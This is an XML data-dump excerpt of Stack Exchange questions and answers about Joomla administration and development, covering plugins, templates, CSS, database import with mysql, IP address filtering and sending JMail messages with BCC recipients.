  <row Id="16742" PostTypeId="2" ParentId="10162" CreationDate="2016-06-02T13:26:07.457" Score="0" Body="&lt;p&gt;I had the same issue in our &quot;development system&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that the 404-Page is loaded correctly when the site is set to online in the config.&#xA;But &lt;strong&gt;when the site is set to offline&lt;/strong&gt; and i am logged in - any 404 redirects to the frontpage.&lt;/p&gt;&#xA;" OwnerUserId="8492" LastActivityDate="2016-06-02T13:26:07.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16743" PostTypeId="2" ParentId="16741" CreationDate="2016-06-02T13:34:54.553" Score="1" Body="&lt;p&gt;I had this issue with one of the latest Joomla 3.5.xx updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have to fill in the senders eMail address in the joomla config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xYLmX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYLmX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8492" LastEditorUserId="8492" LastEditDate="2016-06-02T13:55:41.233" LastActivityDate="2016-06-02T13:55:41.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16745" PostTypeId="2" ParentId="16731" CreationDate="2016-06-02T19:17:56.190" Score="1" Body="&lt;p&gt;I am not sure why onAfterRender is not working for you. Below is some alternate way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your own custom plugin of custom type instead of system plugin say for example &lt;code&gt;customgroup&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you installed your plugin, you can invoke your plugin using dispatcher.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin( 'customgroup' );&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$results = $dispatcher-&amp;gt;trigger( 'onMyEventName', array( &amp;amp;$param1, &amp;amp;$param2));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will trigger &lt;code&gt;onMyEventName&lt;/code&gt; in your plugin class &lt;code&gt;PlgCustomgroupSomeplugin&lt;/code&gt;. Use this code at the end of request in your component.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-06-02T19:17:56.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16746" PostTypeId="2" ParentId="16489" CreationDate="2016-06-02T20:48:07.400" Score="1" Body="&lt;p&gt;Generally you need to find a variant of the Joomla 3.5 that will work; usually it is stripping off the SEF, etc to a simplified version. Once you find that, you can adjust your .htaccess to reform the J1.5 version into the simplified J3.5 version.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-06-02T20:48:07.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16747" PostTypeId="2" ParentId="15672" CreationDate="2016-06-02T21:09:04.283" Score="3" Body="&lt;p&gt;Are you using an associated menu item for the Search Results?  If so, you should be able to go on the OPTIONS tab and change the &quot;Search For&quot; to &quot;Exact Phrase.&quot;  If using the module, make sure you set the &quot;Set ItemID&quot; to that menu item.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-06-02T21:09:04.283" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16748" PostTypeId="1" AcceptedAnswerId="16749" CreationDate="2016-06-03T10:23:54.587" Score="2" ViewCount="117" Body="&lt;p&gt;I've written the following to get the user IP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function getIpAddress()&#xA;{&#xA;    $server = JFactory::getApplication()-&amp;gt;input-&amp;gt;server;&#xA;&#xA;    if (!empty($server-&amp;gt;get('HTTP_CLIENT_IP')))&#xA;    {&#xA;        $ip = $server-&amp;gt;get('HTTP_CLIENT_IP');&#xA;    }&#xA;    else if (!empty($server-&amp;gt;get('HTTP_X_FORWARDED_FOR')))&#xA;    {&#xA;        $ip = $server-&amp;gt;get('HTTP_X_FORWARDED_FOR');&#xA;    }&#xA;    else&#xA;    {&#xA;        $ip = $server-&amp;gt;get('REMOTE_ADDR');&#xA;    }&#xA;&#xA;    return $ip;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to filter the value using the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/master/libraries/joomla/filter/input.php#L138&quot; rel=&quot;nofollow&quot;&gt;JFilterInput-&gt;clean()&lt;/a&gt; approach, using one of the options available, such as &lt;code&gt;'STRING'&lt;/code&gt;, &lt;code&gt;'INT'&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at &lt;code&gt;INT&lt;/code&gt;, but don't think this will allow IP's with the following regex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pattern = '/[-+]?[0-9]+/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as it doesn't accept a &lt;code&gt;.&lt;/code&gt;(dot).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I then looked at &lt;code&gt;CMD&lt;/code&gt;, and was wondering if this would be the best one to use as I believe it does allow a &lt;code&gt;.&lt;/code&gt;(dot):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pattern = '/[^A-Z0-9_\.-]/i';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Would it be best to use &lt;code&gt;CMD&lt;/code&gt;? If not, which one? Or would be be best to use one of the native PHP filters?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-03T11:31:08.260" Title="Filter an IP address" Tags="|php|jinput|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16749" PostTypeId="2" ParentId="16748" CreationDate="2016-06-03T11:31:08.260" Score="2" Body="&lt;p&gt;For the time being, I've used PHP native &lt;code&gt;filter_var&lt;/code&gt; with the &lt;code&gt;FILTER_VALIDATE_IP&lt;/code&gt; filter, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return filter_var($ip, FILTER_VALIDATE_IP);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm still of course open to other suggestions&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-06-03T11:31:08.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16752" PostTypeId="2" ParentId="16455" CreationDate="2016-06-03T16:37:18.607" Score="0" Body="&lt;p&gt;have you tried resetting the admin super user pass? Have try from the below link. You will need to have access to phpmyadmin, Try the last solution in the example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps your problem!&lt;/p&gt;&#xA;" OwnerUserId="8498" LastActivityDate="2016-06-03T16:37:18.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16754" PostTypeId="1" CreationDate="2016-06-03T19:17:38.463" Score="4" ViewCount="611" Body="&lt;p&gt;All, I have a simple plugin which does fire on login. I have the same plugin working in 2.5 but in my joomla 3.5 I cannot get it work get the username. This does work on Joomla 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is. Any help is greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;jimport('joomla.plugin.plugin');&#xA;class PlgUserAddInfo extends JPlugin&#xA;{&#xA;    public function onUserLogin($user, $options = array())&#xA;    {&#xA;        $user = JFactory::getUser();&#xA;        $mysignum = $user-&amp;gt;username;&#xA;        $session = JFactory::getSession();&#xA;        $session-&amp;gt;set('mysignum', $mysignum);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8500" LastEditorUserId="5638" LastEditDate="2016-09-10T06:35:58.183" LastActivityDate="2016-09-10T06:35:58.183" Title="Joomla Plugin to fire onUserLogin" Tags="|joomla-3.x|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16755" PostTypeId="1" CreationDate="2016-06-03T22:35:29.150" Score="0" ViewCount="259" Body="&lt;p&gt;I've had no joy using Akeeba and Kickstart (current versions). The restore locks up on the last screen when it tried to update .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up a new joomla site, and loaded my critical website templates &amp;amp; other extensions, with everything working. I have a copy of the database, but I don't know how to load it in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Would you please offer advice on how to do this?&#xA;b. If this is successful, is there something else I'll need to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks &lt;/p&gt;&#xA;" OwnerUserId="8501" LastActivityDate="2016-06-05T06:54:00.510" Title="Copy site from webserver to localhost" Tags="|database|installation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16757" PostTypeId="1" CreationDate="2016-06-04T09:54:28.577" Score="2" ViewCount="1068" Body="&lt;p&gt;Is there an alternative way to add the Google Webmaster Tools HTML tag (for verification) in a Joomla website? The server doesn't let me connect to it via FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the template section of the &quot;beez3&quot; Template. But I only see .php files. I would like to add the HTML tag (for verification) in the  section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pmtkb.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8506" LastEditorUserId="7394" LastEditDate="2016-06-05T08:35:22.807" LastActivityDate="2020-05-14T20:39:29.657" Title="Add Google Webmaster Tools HTML tag in Joomla site" Tags="|joomla-3.x|templates|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16758" PostTypeId="1" CreationDate="2016-06-04T10:49:04.887" Score="1" ViewCount="2351" Body="&lt;p&gt;In joomla 3, i need to know how to assign different templates to different pages or articles?&lt;/p&gt;&#xA;" OwnerUserId="8507" LastActivityDate="2016-06-10T14:44:32.163" Title="how to assign different templates to different page or article?" Tags="|joomla-3.x|templates|template-override|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16759" PostTypeId="1" AcceptedAnswerId="16766" CreationDate="2016-06-04T12:47:28.147" Score="0" ViewCount="39" Body="&lt;p&gt;I am driving to change the background color where it says Module1:Initial Configuration. I have changed the css to 0088cc as shown in the image, but the color blue doesn't show on my web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is here&#xA;&lt;a href=&quot;http://www.keylooplabs.com/index.php/ed-serv/settings-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.keylooplabs.com/index.php/ed-serv/settings-2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone let me know where I'm going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QjjvI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QjjvI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="7394" LastEditDate="2020-05-14T20:42:06.577" LastActivityDate="2020-05-14T20:42:06.577" Title="Inspect Page Doesn't Reflect Color on Web Page" Tags="|joomla-3.4|templates|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16760" PostTypeId="2" ParentId="16754" CreationDate="2016-06-04T15:40:20.843" Score="3" Body="&lt;p&gt;I think you need to use the onUserAfterLogin method instead: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events/User#onUserAfterLogin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-06-04T15:40:20.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16761" PostTypeId="2" ParentId="16755" CreationDate="2016-06-04T17:02:38.327" Score="1" Body="&lt;p&gt;I did this a couple of times, my setup differs surely from yours, but this is how I imported the database. I assume you are using MySQL as database.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;first make sure that the database and PHP is the same version (webserver/localhost)&lt;/li&gt;&#xA;&lt;li&gt;the information for the database setup you will find in the file &quot;configuration.php&quot; in the root folder of your Joomla site&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the following lines are important (adjust to fit your setup)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $dbtype = 'mysqli';&#xA;public $host ='localhost';&#xA;public $user = 'root';&#xA;public $password = 'some_password';&#xA;public $db = 'some_db';&#xA;public $dbprefix = 'prefix_';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;save and quit the file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;create the database, preferably in a terminal&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;terminal&amp;gt; mysql -u root -p&quot;your_password&quot;&#xA;mysql&amp;gt; create database &quot;db_name&quot;; (same as in config)&#xA;mysql&amp;gt;exit&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;now import the database, using the terminal again&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;terminal&amp;gt; mysql -u root -p&quot;your_password&quot; name_of_the_database &amp;lt; your_database_file.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user8453" LastEditorUserId="1520" LastEditDate="2016-06-05T06:54:00.510" LastActivityDate="2016-06-05T06:54:00.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16762" PostTypeId="2" ParentId="16758" CreationDate="2016-06-04T17:31:01.080" Score="0" Body="&lt;p&gt;From admin panel you can only assign template to menu item (Itemid) so you can link articles to menu items and you're good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In php you can assign it via setting &lt;code&gt;templateStyle&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this without coding, to do it all through admin panel you'll need custom plugin.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="69" LastEditDate="2016-06-10T14:44:32.163" LastActivityDate="2016-06-10T14:44:32.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16763" PostTypeId="2" ParentId="16729" CreationDate="2016-06-04T19:34:03.817" Score="0" Body="&lt;p&gt;If you want to find where is the file, you have to put you mouse like in the photo, you can see there where is the source&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z2rS8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z2rS8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I right click and inspect I get the following&lt;a href=&quot;https://i.stack.imgur.com/n8n3n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n8n3n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8427" LastEditorUserId="8056" LastEditDate="2016-06-06T10:27:13.470" LastActivityDate="2016-06-06T10:27:13.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16764" PostTypeId="2" ParentId="16758" CreationDate="2016-06-04T21:51:13.087" Score="1" Body="&lt;p&gt;&lt;strong&gt;For Pages:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inside each menu item you can see an option called &lt;strong&gt;Template Style&lt;/strong&gt;, assign here the template for each menu item, see the screenshot:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R4Jd1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R4Jd1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can do this if you go to:&lt;br/&gt;&#xA;&lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Templates&lt;/strong&gt; &gt; &lt;strong&gt;Your Template&lt;/strong&gt; &gt; Tab &lt;strong&gt;Menu Assignment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Articles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can use an &lt;strong&gt;Alternative Layout&lt;/strong&gt; for each Article, find this option in the tab called &lt;strong&gt;Options&lt;/strong&gt;&lt;br/&gt; at the bottom of the page, see the screenshot:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bqx9e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqx9e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find more information:&lt;br/&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-06-04T21:58:24.703" LastActivityDate="2016-06-04T21:58:24.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16765" PostTypeId="2" ParentId="16757" CreationDate="2016-06-04T22:04:06.763" Score="0" Body="&lt;p&gt;In the case of &lt;strong&gt;Beez3&lt;/strong&gt; Template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the file with the name &lt;strong&gt;index.php&lt;/strong&gt;&lt;br/&gt;&#xA;Add your meta tag inside the block &lt;code&gt;&amp;lt;head&amp;gt;...&amp;lt;/head&amp;gt;&lt;/code&gt; around line 80.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-14T20:39:29.657" LastActivityDate="2020-05-14T20:39:29.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16766" PostTypeId="2" ParentId="16759" CreationDate="2016-06-04T22:38:43.023" Score="0" Body="&lt;p&gt;In CSS we have something called &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity&quot; rel=&quot;nofollow noreferrer&quot;&gt;specificity&lt;/a&gt;, this is the main reason why the changes have not been implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screenshot, you can see the file &lt;strong&gt;style.css&lt;/strong&gt; for the accordion module under &lt;strong&gt;style1.css&lt;/strong&gt; for the template. In the CSS cascade the following order applies: The code of the last file overwrites all the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6G6Jd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6G6Jd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two possible solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- The fast solution:&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add in your css rule the value &lt;strong&gt;!important&lt;/strong&gt;, something like: &lt;br/&gt;&lt;code&gt;background-color: #0088cc !important;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;- The recommended solution:&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the CSS file for the menu and change the value for the background.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-04T22:38:43.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16767" PostTypeId="1" CreationDate="2016-06-05T06:01:47.800" Score="0" ViewCount="107" Body="&lt;p&gt;Using AcyMailing to send out a Newsletter to our group. The Newsletter has a number of links to our sponsors' websites.&lt;br/&gt;IF I include a link to one very specific URL, the email never gets sent. AcyMailing reports it as sent, but no-one receives it. If I remove that URL, the exact same email gets sent no problem. I can use a bit.ly substitute and that works. Thought maybe it was the .org somehow being filtered out as invalid and tried other .org addresses, and they all worked. Even went and put in other URLs hosted on the same server (thinking that maybe the server IP was blacklisted) and they got through fine.&#xA;&lt;br/&gt;AcyMailing support suggested trying the other mail options, but none of them worked. So not sure that it is AcyMailing's fault. Also tried talking to both our hosting (Gatorhost) and the hosting for the errant URL (A Small Orange) but they weren't able to help me either.&lt;br/&gt;&#xA;Has anyone ever encountered this? Or have suggestions as to why an email would be blocked just because of a specific link?&lt;br/&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8509" LastActivityDate="2017-02-01T13:39:03.230" Title="Email doesn't get sent if it includes a specific URL" Tags="|emails|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16768" PostTypeId="2" ParentId="16757" CreationDate="2016-06-05T11:32:13.533" Score="1" Body="&lt;p&gt;Even though you may not have access to FTP, there are at least a couple of &lt;a href=&quot;https://support.google.com/webmasters/answer/35179?hl=en#verification_details&quot; rel=&quot;nofollow&quot;&gt;verification methods&lt;/a&gt; you can use to verify site ownership.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;HTML File Upload&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Install a Joomla file manager such as &lt;a href=&quot;http://extensions.joomla.org/extension/extplorer&quot; rel=&quot;nofollow&quot;&gt;Extplorer&lt;/a&gt; or similar (temporarily or otherwise) and upload the supplied HTML file to the root folder of the website.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Google Analytics&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Register the website in Google Analytics and enable Google Analytics by entering the tracking code in your template (if it has this option) or via a third party extension. Once Google Analytics is enabled, you can use this to verify your ownership of the website in Webmaster Tools (aka Search Console).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend either of the above methods in preference to editing core files as changes to core files can be undone by future updates.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-06-05T11:32:13.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16770" PostTypeId="2" ParentId="16767" CreationDate="2016-06-06T07:26:56.857" Score="1" Body="&lt;p&gt;Not an answer but some suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there something unusual about that specific URL that would be causing acymailing (or some other component) to have a problem sending it?&#xA;Maybe contains spaces or other character?&#xA;References a type of document that is getting the email blocked without warning?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you tried sending that url in an email outside acymailing/Joomla to determine if the problem is within acymailing or just a general problem with that URL?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8504" LastEditorUserId="3637" LastEditDate="2016-08-05T09:27:32.123" LastActivityDate="2016-08-05T09:27:32.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16773" PostTypeId="1" AcceptedAnswerId="16775" CreationDate="2016-06-06T11:25:40.193" Score="5" ViewCount="1421" Body="&lt;p&gt;So this is my code where I send same email to 3 different users&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;sendMail($emailfrom, $sitename, 'adam@malinator.com', $subject, $message, 1);&#xA;$mailer-&amp;gt;sendMail($emailfrom, $sitename, 'a.fini@ambulatoriprivati.it', $subject, $message, 1);&#xA;$mailer-&amp;gt;sendMail($emailfrom, $sitename, 'adam.madrzejewski@gmail.com', $subject, $message, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what I see in my gmail (My email is the last one &lt;code&gt;adam.madrzejewski@gmail.com&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KtZLe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtZLe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't want that all successive recipients see to who email was sent before. How can it be solved? I can't find anything on JMail's API page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JMail.html&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JMail.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Joomla 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2019-06-05T17:03:03.397" Title="Don't show other recipients when sending multiple emails with JMail" Tags="|joomla-3.x|emails|jmail|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16774" PostTypeId="2" ParentId="16509" CreationDate="2016-06-06T13:38:43.890" Score="2" Body="&lt;p&gt;You could get the next item using the lft and rgt fields simply by getting the first item with a higher lft value than your current item's rgt value, and only selecting published items.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;FROM #_menu&#xA;WHERE menutype LIKE 'your_menu'&#xA;AND published = 1&#xA;AND lft &amp;gt; [current item rgt]&#xA;ORDER BY lft ASC&#xA;LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on if you want to include items from other levels of your menu you might want to add an &quot;AND level = [your current item's level]&quot;.&lt;/p&gt;&#xA;" OwnerUserId="8515" LastActivityDate="2016-06-06T13:38:43.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16775" PostTypeId="2" ParentId="16773" CreationDate="2016-06-06T13:47:36.317" Score="8" Body="&lt;p&gt;As you can see on the API reference page, the &lt;code&gt;sendMail()&lt;/code&gt; function has a &lt;code&gt;$bcc&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sendMail(string $from, string $fromName, mixed $recipient, string $subject, string $body, boolean $mode = false, mixed $cc = null, mixed $bcc = null, mixed $attachment = null, mixed $replyTo = null, mixed $replyToName = null)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, if you're sending the same email to 3 different recipients, you don't need to use the &lt;code&gt;sendMail()&lt;/code&gt; function 3 times, but instead, simply define an &lt;code&gt;array&lt;/code&gt; of recipients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a try of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$to = array(&#xA;    'adam@malinator.com'&#xA;);&#xA;&#xA;$bcc = array(&#xA;    'a.fini@ambulatoriprivati.it',&#xA;    'adam.madrzejewski@gmail.com'&#xA;);&#xA;&#xA;$mailer-&amp;gt;sendMail($emailfrom, $sitename, $to, $subject, $message, 1, null, $bcc);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-06-05T17:03:03.397" LastActivityDate="2019-06-05T17:03:03.397" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16777" PostTypeId="2" ParentId="13832" CreationDate="2016-06-06T18:20:47.653" Score="1" Body="&lt;p&gt;You can add new module positions directly from the Template administrator panel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our main aim was to move possibly a large number of parameters to&#xA;  administrative panel which normally were changed in template code&#xA;  directly. Thanks to this, beginner users, can easily add new module&#xA;  positions and change many settings in administrator panel from&#xA;  template option level.&#xA;  (&lt;a href=&quot;https://www.joomshaper.com/blog/helix-v3-template-framework-feature-suggestions&quot; rel=&quot;nofollow&quot;&gt;https://www.joomshaper.com/blog/helix-v3-template-framework-feature-suggestions&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2016-06-06T18:20:47.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
